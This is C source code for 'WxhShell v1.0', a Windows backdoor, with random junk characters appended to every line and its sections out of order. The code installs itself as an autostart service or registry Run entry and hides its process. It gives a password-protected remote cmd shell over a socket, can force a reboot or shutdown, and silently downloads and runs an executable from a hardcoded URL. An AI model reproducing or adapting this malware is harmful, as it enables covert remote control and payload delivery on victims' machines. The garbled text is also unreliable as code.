    if(Boot(SHUTDOWN)) FJDE48Vi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <sw@P":F  
    else { "(3u)o9  
    closesocket(wsh); 0'Si ^>bW  
    ExitThread(0); Z,/K$;YWo  
    } <^\rv42'(2  
    break; j)2I+[aoB  
    } T8|5%Y  
  // 获取shell Kp6 @?  
  case 's': { s/=%kCo  
    CmdShell(wsh); 37$ ^ie)  
    closesocket(wsh); A*eVz]i,k&  
    ExitThread(0); *I)J%#  
    break; >v%js!`f  
  } J09jBQ] R  
  // 退出 y ?&hA! x  
  case 'x': { kzjuW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ujRXAN@mC  
    CloseIt(wsh); a3>/B$pE  
    break; :{#O   
    } odSPl{.>d  
  // 离开 G0{Z@CvO'  
  case 'q': { >UMxlvTg&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4SZ,X^]I>  
    closesocket(wsh); 1vxRhS&FY  
    WSACleanup(); P+0'^:J  
    exit(1); Lx wi"ndP  
    break; |82q|@e  
        } 1!KROes4  
  } W;'fAohr  
  } E?G'F3i  
J7* o%W*V  
  // 提示信息 X58U>4a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bDM},(  
} R>* z8n  
  } *^uK=CH1?(  
n&njSj/  
  return; ~<?Zj  
} TIKkS*$  
*3H=t$1G}  
// shell模块句柄 _Xt/U>N  
int CmdShell(SOCKET sock) 16zReI(  
{ N#K)Z5J)b  
STARTUPINFO si; cry1gnWG  
ZeroMemory(&si,sizeof(si)); 9F>`M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >[AmIYg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Tb$))O}  
PROCESS_INFORMATION ProcessInfo;  SvT0%2  
char cmdline[]="cmd"; 1o`1W4Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rXi&8R[  
  return 0; [zx|3wWAX-  
} l S)^8  
{+WBi(=W  
// 自身启动模式 w6i2>nu_O  
int StartFromService(void) ryVYY> *(K  
{ b^VRpv  
typedef struct nwU],{(Hgr  
{ |Dn Zk3M,  
  DWORD ExitStatus; } Bf@69  
  DWORD PebBaseAddress; \ZZ6r^99  
  DWORD AffinityMask; . vb##D  
  DWORD BasePriority; -N*[f9EJB  
  ULONG UniqueProcessId; mol,iM*l  
  ULONG InheritedFromUniqueProcessId; zr /v.$<  
}   PROCESS_BASIC_INFORMATION; Y"H`+UV  
1z PS#K/3  
PROCNTQSIP NtQueryInformationProcess; 8>9Mh!t}(I  
Z)s !p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "[N2qJ}p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2iG+Ek-?"  
)X0=z1$  
  HANDLE             hProcess; MY,~leP&  
  PROCESS_BASIC_INFORMATION pbi; ~HB#7+b  
1.du#w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,c&u\W=p  
  if(NULL == hInst ) return 0; FJc8g6M  
7|5kak>=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @3.Z>KONx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uge r:cD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9\4x<*  
Y~vk>ZC  
  if (!NtQueryInformationProcess) return 0; H?=W]<!W{y  
:1A:g^n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W3,r@mi^s7  
  if(!hProcess) return 0; Ddr.6`VJ  
gADf9x"b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |*NLWN.ja)  
|dgiW"tUm  
  CloseHandle(hProcess); ~JT`q: l-q  
] 0X|_bU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wH ,PA:  
if(hProcess==NULL) return 0; Pvc)-A  
<D.E .^Y  
HMODULE hMod; !-lI<$S:  
char procName[255]; N;3!oo4  
unsigned long cbNeeded; z}[ u~P,  
<  o?ua}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); juR>4SH  
uppa`addK  
  CloseHandle(hProcess); :qdyC sn2  
VW*%q0i-  
if(strstr(procName,"services")) return 1; // 以服务启动 CtCReH03  
nnyT,e%  
  return 0; // 注册表启动 C ~h#pAh  
} Qn$'bK2V  
\6wltTW]#  
// 主模块 n+8YTjd  
int StartWxhshell(LPSTR lpCmdLine) 1Vy8eI`4  
{ LO_Xr j  
  SOCKET wsl; epsRv&LfC  
BOOL val=TRUE; KNeVSZT  
  int port=0; h>`[p,o  
  struct sockaddr_in door; H1k)ya x4_  
RnkV)ed(  
  if(wscfg.ws_autoins) Install(); zIF1A*UH  
%@PcQJg U<  
port=atoi(lpCmdLine); N/o?\q8  
`j{3|C=  
if(port<=0) port=wscfg.ws_port; 16 AlmegDk  
> SZ95@Oh  
  WSADATA data; (2;Aqx5i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mfj{_fR3  
SD^::bH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c,r6+oX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z\|<h=EU  
  door.sin_family = AF_INET; uU)t_W&-J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >GIQT ?O6  
  door.sin_port = htons(port); E:9RskI  
&}u_e`A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w: BJ4bi=  
closesocket(wsl); ._0$#J S[  
return 1; D+!T5)>(  
} K}cZK  
&>c=/]Lop  
  if(listen(wsl,2) == INVALID_SOCKET) { Qr R+3kxM  
closesocket(wsl); %bP+P(vZ  
return 1; &b@_ah+f  
} )zWu\ JRp  
  Wxhshell(wsl); (Mfqzy  
  WSACleanup(); \Q#pu;Y*N]  
^6 l5@#)w  
return 0; usc/DQ1  
Kh3i.gm7g  
} $(62j0mS>  
@{IX do  
// 以NT服务方式启动 <2(X?,N5BD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4m\Cc_:jO  
{ d[h=<?E5  
DWORD   status = 0; S_sHwObFu|  
  DWORD   specificError = 0xfffffff; 5i6Ji(  
'@24<T]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w?D=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A@3'I  ;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'cCM[P+  
  serviceStatus.dwWin32ExitCode     = 0; ar@,SKU'K  
  serviceStatus.dwServiceSpecificExitCode = 0; ~[!Tpq5  
  serviceStatus.dwCheckPoint       = 0; MTwzL<@$  
  serviceStatus.dwWaitHint       = 0; b|87=1^m[  
9+(b7L   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t]sk[  
  if (hServiceStatusHandle==0) return; }D1? Z7p  
HxR5&o  
status = GetLastError(); F~v0CBcAL  
  if (status!=NO_ERROR) F4=X(P_6  
{ p_xJ KQS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c*owP  
    serviceStatus.dwCheckPoint       = 0; g#P]72TQ  
    serviceStatus.dwWaitHint       = 0; |+h x2?Nv  
    serviceStatus.dwWin32ExitCode     = status; k6 OO\=  
    serviceStatus.dwServiceSpecificExitCode = specificError; &LV'"2ng8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <YCjo[(~  
    return; GB+$ed5@<  
  } 7IUJHc?  
[?6+ r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^E, #}cW  
  serviceStatus.dwCheckPoint       = 0; l )r^|9{  
  serviceStatus.dwWaitHint       = 0; 0]ai*\,W7~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sfVzVS[  
} E.C=VfBW  
1&h\\&ic  
// 处理NT服务事件,比如:启动、停止 nVpDjUpN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "wVisL2+.  
{ )[99SM   
switch(fdwControl) Z2;~{$&M+  
{ ,wr5DQ  
case SERVICE_CONTROL_STOP: ZHRMW'Ne  
  serviceStatus.dwWin32ExitCode = 0; 3Q&@l49q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bz{"K  
  serviceStatus.dwCheckPoint   = 0; /?>W\bP<  
  serviceStatus.dwWaitHint     = 0; f3;[ZS  
  { -Nr*na^H9#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h1'm[Y  
  } )1R[~]y  
  return; MHE/#G  
case SERVICE_CONTROL_PAUSE: <&+0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (;Bh7Ft  
  break; >8NUji2I  
case SERVICE_CONTROL_CONTINUE: S!-t{Q+j^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  v?d`fd  
  break; *"jlsI  
case SERVICE_CONTROL_INTERROGATE: p*jH5h cy  
  break; ,*[N_[  
}; bz1`f>%l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Q* .[aJt  
} a'q&[08  
{h|kx/4{m  
// 标准应用程序主函数 CT\rx>[J.6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s4Jy96<  
{ W T @XHwt  
4U$M0 =  
// 获取操作系统版本 aEEb1Y  
OsIsNt=GetOsVer(); 8VpmcGvc3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;5|d[r}k3  
sC f)#6mI  
  // 从命令行安装 ow+_g R-  
  if(strpbrk(lpCmdLine,"iI")) Install(); &G-dxET]  
$;";i:H`  
  // 下载执行文件 O*F= xG  
if(wscfg.ws_downexe) { 'K23oQwDB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k/U rz*O  
  WinExec(wscfg.ws_filenam,SW_HIDE); FrRUAoF O  
} 5rtE/ {A  
PTQN.[bBh  
if(!OsIsNt) { \+ Ese-la  
// 如果时win9x,隐藏进程并且设置为注册表启动 |]HA@7B  
HideProc(); +Lr`-</VF  
StartWxhshell(lpCmdLine); Eg4&D4TG p  
} Q*f0YjH!  
else Rto/-I0l  
  if(StartFromService()) V2yX;u  
  // 以服务方式启动 /+<G@+(  
  StartServiceCtrlDispatcher(DispatchTable); T7Y+ WfYh  
else zo ]-,u  
  // 普通方式启动 >qMzQw2  
  StartWxhshell(lpCmdLine); ErQGVE;zk  
bvl!^xO]  
return 0; )|]*"yf:E  
} iII%!f?{[  
%xX b5aY  
2`V0k.$?p  
HbCcROl(  
=========================================== a!j{A?7Kw.  
Z0 c|;  
U @}r?!)"f  
|41~U\  
X4k|k>  
+wGvY r  
" ws;|fY  
n&Q0V.  
#include <stdio.h> DRVvC~M-,  
#include <string.h> n482?Wp  
#include <windows.h> (AG((eV  
#include <winsock2.h> &jrc]  
#include <winsvc.h> 7a4Z~r27/  
#include <urlmon.h> 5sB~.z@  
b. :2x4  
#pragma comment (lib, "Ws2_32.lib") T#}"?A|  
#pragma comment (lib, "urlmon.lib") GG4FS  
Jg&f.  
#define MAX_USER   100 // 最大客户端连接数 5z.Y}  
#define BUF_SOCK   200 // sock buffer Xag#ZT  
#define KEY_BUFF   255 // 输入 buffer wO]H+t  
R,l*@3Q  
#define REBOOT     0   // 重启 #=ko4?Wr(  
#define SHUTDOWN   1   // 关机 }'p*C$  
j^/^PUR  
#define DEF_PORT   5000 // 监听端口 z>*\nomOn=  
TQpR'  
#define REG_LEN     16   // 注册表键长度 F\<{:wu   
#define SVC_LEN     80   // NT服务名长度 , 9buI='  
Q+IB&LdE  
// 从dll定义API XS>( Bu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {P==6/<2o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5',&8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .07k G]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [KEw5-=i@  
rwpH9\GE  
// wxhshell配置信息 :?gp}.  
struct WSCFG { (ul_bA+  
  int ws_port;         // 监听端口 %y+v0.aWH+  
  char ws_passstr[REG_LEN]; // 口令 bc6|]kB:  
  int ws_autoins;       // 安装标记, 1=yes 0=no &'m&'wDt:  
  char ws_regname[REG_LEN]; // 注册表键名 =)! ~t/  
  char ws_svcname[REG_LEN]; // 服务名 H96|{q=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SS&G<3Ke  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ki[&DvW:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  fTGVG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LoO"d'{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7\i> >  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 );xTl6Y9  
cZ ,}1?!  
}; %/r:iD  
[n$6 T  
// default Wxhshell configuration Y";K WA}b  
struct WSCFG wscfg={DEF_PORT, .bNG:y>  
    "xuhuanlingzhe", 5~RR _G  
    1, 76cT}l&.h8  
    "Wxhshell", pvdCiYo1r  
    "Wxhshell", NqN}] nu6  
            "WxhShell Service", =AX"'q  
    "Wrsky Windows CmdShell Service", &iaS3x  
    "Please Input Your Password: ", q]Af I(  
  1, )D7/[zb^  
  "http://www.wrsky.com/wxhshell.exe", ? RI D4xu!  
  "Wxhshell.exe" +DYsBCVbag  
    }; n}8}:3"  
OyIIJ!(  
// 消息定义模块 Z)<lPg!YAR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rb]?"lizi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |}o3EX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /PEL[Os  
char *msg_ws_ext="\n\rExit."; Oh,]"(+  
char *msg_ws_end="\n\rQuit."; 1P G"IaOb  
char *msg_ws_boot="\n\rReboot..."; SL`nt  
char *msg_ws_poff="\n\rShutdown..."; wB"`lY   
char *msg_ws_down="\n\rSave to "; C/q!!  
3]pHc)p!.  
char *msg_ws_err="\n\rErr!"; wT+\:y  
char *msg_ws_ok="\n\rOK!"; rw[Ioyr-  
pzeCdHF  
char ExeFile[MAX_PATH]; n]jw!;  
int nUser = 0; z2 mjm  
HANDLE handles[MAX_USER]; `r&]Ydu:  
int OsIsNt; a[E}o<{  
1/J6<FVq  
SERVICE_STATUS       serviceStatus; j7J'd?l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nPUD6<bF  
#cqI0ny?G  
// 函数声明 I M G^L  
int Install(void); /])P{"v$^  
int Uninstall(void); ]&X}C{v)G  
int DownloadFile(char *sURL, SOCKET wsh); mTLJajE/  
int Boot(int flag); &BN#"- J  
void HideProc(void); A5Lzd  
int GetOsVer(void); \%&eDE0  
int Wxhshell(SOCKET wsl); Yzw[.(jc}  
void TalkWithClient(void *cs); JgBC:t^\pV  
int CmdShell(SOCKET sock); rbrh;\<jM  
int StartFromService(void); 'i4L.&  
int StartWxhshell(LPSTR lpCmdLine); cVDcda|PE  
bP&1tE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N t\ZM  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  upGLZ#  
_IWLC{%V  
// 数据结构和表定义 \q^:$iY~  
SERVICE_TABLE_ENTRY DispatchTable[] = ;?%_jB$P  
{ 4B)%I`  
{wscfg.ws_svcname, NTServiceMain}, [OR"9W&  
{NULL, NULL} 6!wk5#  
}; (QQkXlJ  
6i%X f i  
// 自我安装 i ;^Ya  
int Install(void) ~nApRC)0  
{ S1U[{R?,  
  char svExeFile[MAX_PATH]; w[AL'1s]  
  HKEY key; ]88qjKL  
  strcpy(svExeFile,ExeFile); $dG:29w  
U_WO<uhC  
// 如果是win9x系统,修改注册表设为自启动 IRTD(7"oyp  
if(!OsIsNt) { wZWAx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pj7v{H+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DKF '*  
  RegCloseKey(key); 5<YL^m{/L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tTWEhHQ`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'UM *7  
  RegCloseKey(key); d{Owz&PL  
  return 0; A# Y:VavQ?  
    } Os KtxtLO  
  } [pInF Qh6  
} *D.Ajd.G  
else { <,\U,jU _  
^9kx3Pw?8  
// 如果是NT以上系统,安装为系统服务 4eJR=h1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L$,yEMCe  
if (schSCManager!=0) U>DCra;  
{ :aH5=@[!y  
  SC_HANDLE schService = CreateService gFsqCx<q  
  ( Eihn%Esa  
  schSCManager, K D?b|y @  
  wscfg.ws_svcname, bP>Kx-%q  
  wscfg.ws_svcdisp, tS-gaT`T  
  SERVICE_ALL_ACCESS, 73Hm:"Eqd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Fu 5c_"!  
  SERVICE_AUTO_START, ,e$6%R  
  SERVICE_ERROR_NORMAL, kpxGC,I^*.  
  svExeFile, '.k'*=cq0  
  NULL, ^b.#4i (v  
  NULL, 6[S IDOp*^  
  NULL, b`@J"E}  
  NULL, 7VL|\^Y`q  
  NULL na"!"C s3  
  ); T"<)B^8f  
  if (schService!=0) 7Gy:T47T\@  
  { 'u~0rMe4})  
  CloseServiceHandle(schService); u1=K#5^  
  CloseServiceHandle(schSCManager); b'Km-'MtH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "p7nngn~  
  strcat(svExeFile,wscfg.ws_svcname); U_ l9CZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YoBe!-E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v*%52_   
  RegCloseKey(key); ESYF4-d+  
  return 0; V@[C=K  
    } {Wu[e,p  
  } n 4y]h  
  CloseServiceHandle(schSCManager); fP\q?X@]E  
} 8KYIHw  
} 8QoxU" c&  
x0WinLQ  
return 1; gY8$Rk %  
} .ws86stFSb  
/(.:l +[w[  
// 自我卸载 : ]+6l  
int Uninstall(void) } `5k^J$x  
{ tym:C7v%~  
  HKEY key; 5n{d jP  
3bYjW=_hA  
if(!OsIsNt) { Ri~$hs!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H2+b3y-1a]  
  RegDeleteValue(key,wscfg.ws_regname); L9lJ4s  
  RegCloseKey(key); j[.nk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^\&FowpP  
  RegDeleteValue(key,wscfg.ws_regname); om2N*W.gk  
  RegCloseKey(key); dvU{U@:sz  
  return 0; {_/o' 6  
  } /;Hr{f jl{  
} _TGs .t  
} *3r s+0  
else { ft$RF  
|`t 6lVO,Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X%3?sH  
if (schSCManager!=0) H!&_Tv[  
{ oeB'{bG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fxc_s/^=t  
  if (schService!=0) O^j*"#f  
  { &K{8- t  
  if(DeleteService(schService)!=0) { ');vc~C  
  CloseServiceHandle(schService); rQyjNh  
  CloseServiceHandle(schSCManager); N9-7YQ`D  
  return 0; &lLfVa-l  
  } U||GeEd  
  CloseServiceHandle(schService); `;J`O02  
  } YWvD+  
  CloseServiceHandle(schSCManager);  ,w3-*z  
} qz{9ND| )  
} M/dgW` c  
@uldD"MJ<]  
return 1; [ 'lu;1-,  
} vg1J N"S[  
hlB\Xt  
// 从指定url下载文件 (+[%^96   
int DownloadFile(char *sURL, SOCKET wsh) xcU!bDV  
{ 7J!s"|VS  
  HRESULT hr; W(R~K -  
char seps[]= "/"; &29jg_'W  
char *token; | @$I<  
char *file; ao"2kqa)r  
char myURL[MAX_PATH]; 6Eu(C]nC(  
char myFILE[MAX_PATH]; PXkpttIE]M  
)Wr_*>xj  
strcpy(myURL,sURL); !Yv_V]u=  
  token=strtok(myURL,seps); UaF~[toX  
  while(token!=NULL) {MSE}|A\V  
  { 4P k%+l  
    file=token; XFvl  
  token=strtok(NULL,seps); L_RVHvA=M/  
  } jr?/wtw  
HFZ'xp|3dn  
GetCurrentDirectory(MAX_PATH,myFILE); 9`*Eeb>  
strcat(myFILE, "\\"); H8FvI"J  
strcat(myFILE, file); w9G|)UDib  
  send(wsh,myFILE,strlen(myFILE),0); ekL;SN  
send(wsh,"...",3,0); wlJi_)!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  }o*A>le  
  if(hr==S_OK) )q-NE)  
return 0; Syy{ ^Ae}  
else rZJJ\ , |  
return 1; e ,/]]E/o  
Z K+F<}  
} jDpA>{O[  
94BH{9b5  
// 系统电源模块 ={sjoMW  
int Boot(int flag) uR5+")r@S  
{ hm! J@  
  HANDLE hToken; <1l%|   
  TOKEN_PRIVILEGES tkp; in<.0v9w  
:J]'c}  
  if(OsIsNt) { t{jY@J T|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b>OB}Is  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w\o6G7  
    tkp.PrivilegeCount = 1; W~;Jsd=f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u9OY Jo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AX8~w(sv  
if(flag==REBOOT) { 6/mz., g2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,<t.Iz%  
  return 0; fq6Obh=A#  
} KtL?,zi  
else { E 6TeZ%g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5 ix*wu`,  
  return 0; !q\=e@j-i  
} S F*C'  
  } <v|"eq}  
  else { ,bl }@0A  
if(flag==REBOOT) { ]yf?i350  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kk-<+R2  
  return 0; RTcxZ/\" #  
} dDpAS#'s\  
else { (4cdkL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a31e.3 6g  
  return 0; !Ud'(iGa  
} l5{60$g  
} m6ge %  
w5HIR/kP  
return 1; ='o3<}  
} 0w3c8s.  
FfJ;r'eGs  
// win9x进程隐藏模块 MF4 (  
void HideProc(void) Q:(mK* _  
{ W/!P1M n  
:S0!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5;/n`Bd  
  if ( hKernel != NULL ) CW &z?Bra  
  { uGMzU&+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +M0pmK!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ca_mift  
    FreeLibrary(hKernel); Snf_{A<  
  } gM3:J:N  
pXSShU#  
return; 4=([v;fc  
} 1P!)4W  
[P`e @$  
// 获取操作系统版本 mZR3Hl$  
int GetOsVer(void) 2e1KF=N+  
{ 6WY/[TC-  
  OSVERSIONINFO winfo; @=Q!a (g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XGx[Ny_A2  
  GetVersionEx(&winfo); o%t4WQ|bj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5CFNBb%Xy  
  return 1; Qu61$!  
  else VV$t*9w  
  return 0; ,/{e%J  
} {JgY-#R?{(  
\~ D(ww  
// 客户端句柄模块 d&j  
int Wxhshell(SOCKET wsl) ukSv70Ev  
{ G tI )O}  
  SOCKET wsh; F}nwTras  
  struct sockaddr_in client; 'Zu S  
  DWORD myID; y!#-[K:  
@(,1}3s  
  while(nUser<MAX_USER) !{lH*  
{ XDemdMy$  
  int nSize=sizeof(client); l*1|B3#m!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e3p|g]  
  if(wsh==INVALID_SOCKET) return 1; |"gL {De  
p\w<~ pN[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4nsJZo#S/  
if(handles[nUser]==0) H$h#n~W~  
  closesocket(wsh); j<p.#jkT  
else l^lb ^"o  
  nUser++; M|*YeVs9#  
  } XIdh9)]^}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D<SC `  
;o9h|LRs  
  return 0; dht0PZdx?  
} =u<:'\_  
8<6H2~5<  
// 关闭 socket  [SPx  
void CloseIt(SOCKET wsh) MVYd\)\o  
{ *LEy# N  
closesocket(wsh); oACAC+CP  
nUser--; Nc:s+ o  
ExitThread(0); xLW$>;kI  
} ;77K&#1  
$v0,)ALi  
// 客户端请求句柄 yix[zfQt0  
void TalkWithClient(void *cs) sey,J5?  
{ \vA*dQ-  
a`!Jq'  
  SOCKET wsh=(SOCKET)cs; "n%s>@$  
  char pwd[SVC_LEN]; Oidf\%!mvR  
  char cmd[KEY_BUFF]; Qm%PpQ^Lz3  
char chr[1]; ^m qEKy<  
int i,j; J usU5 e|  
EwP2,$;  
  while (nUser < MAX_USER) { 'UX.Q7W  
OIcXelS:@k  
if(wscfg.ws_passstr) { SI}s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E/zf9\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ']M/'CcM  
  //ZeroMemory(pwd,KEY_BUFF); cM#rus?)+  
      i=0; my?Ly(#  
  while(i<SVC_LEN) { IVR%H_uz  
23}` e  
  // 设置超时 jf9+H!?^N  
  fd_set FdRead; bv+u7B6,  
  struct timeval TimeOut; --5F*a{R|  
  FD_ZERO(&FdRead); _ \D %  
  FD_SET(wsh,&FdRead); 0fsVbC  
  TimeOut.tv_sec=8;  - vvyG  
  TimeOut.tv_usec=0; @-$8)?`q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nKx)R^]k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AC,RS 7  
-o ).<&#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FdU]!GO- X  
  pwd=chr[0]; Gw*Tz"  
  if(chr[0]==0xd || chr[0]==0xa) { {&51@UX  
  pwd=0; }v ZOPTP  
  break; *1)>He$qL  
  } GJ ^c^`  
  i++; WK{`_c U^  
    } 51|ky-  
~>u .d  
  // 如果是非法用户,关闭 socket cQU/z"?+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s3>a  
} kKX' Y+  
6nx\|F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  Gl~l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s)^/3a  
={BD*= i  
while(1) { )^j_O^T5  
um2a#6uo  
  ZeroMemory(cmd,KEY_BUFF); p+d-7'?I  
.biq)L e  
      // 自动支持客户端 telnet标准   Kj4/fB  
  j=0; ]VI^ hhf  
  while(j<KEY_BUFF) { ATs_d_Sz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pe,>ny^J1  
  cmd[j]=chr[0]; lTx_E#^s  
  if(chr[0]==0xa || chr[0]==0xd) { ^m>4<~/  
  cmd[j]=0; wI.aV>  
  break; S=UuEmU5N  
  } n]4E>/\  
  j++; Uj!3MF  
    } o@:"3s  
-  x  
  // 下载文件 9[0iIT$q$  
  if(strstr(cmd,"http://")) { v] m/$X2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NoI|Dz  
  if(DownloadFile(cmd,wsh)) o4Q?K.9c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QYH-"-)  
  else \nl(tU#j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sZ `Tv[  
  } ) c@gRb~  
  else { tLE8+[ SU  
? x)^f+:9|  
    switch(cmd[0]) { q W(@p`  
  M:+CW;||!  
  // 帮助 ,-UF5U  
  case '?': { KOcB#UHJ  
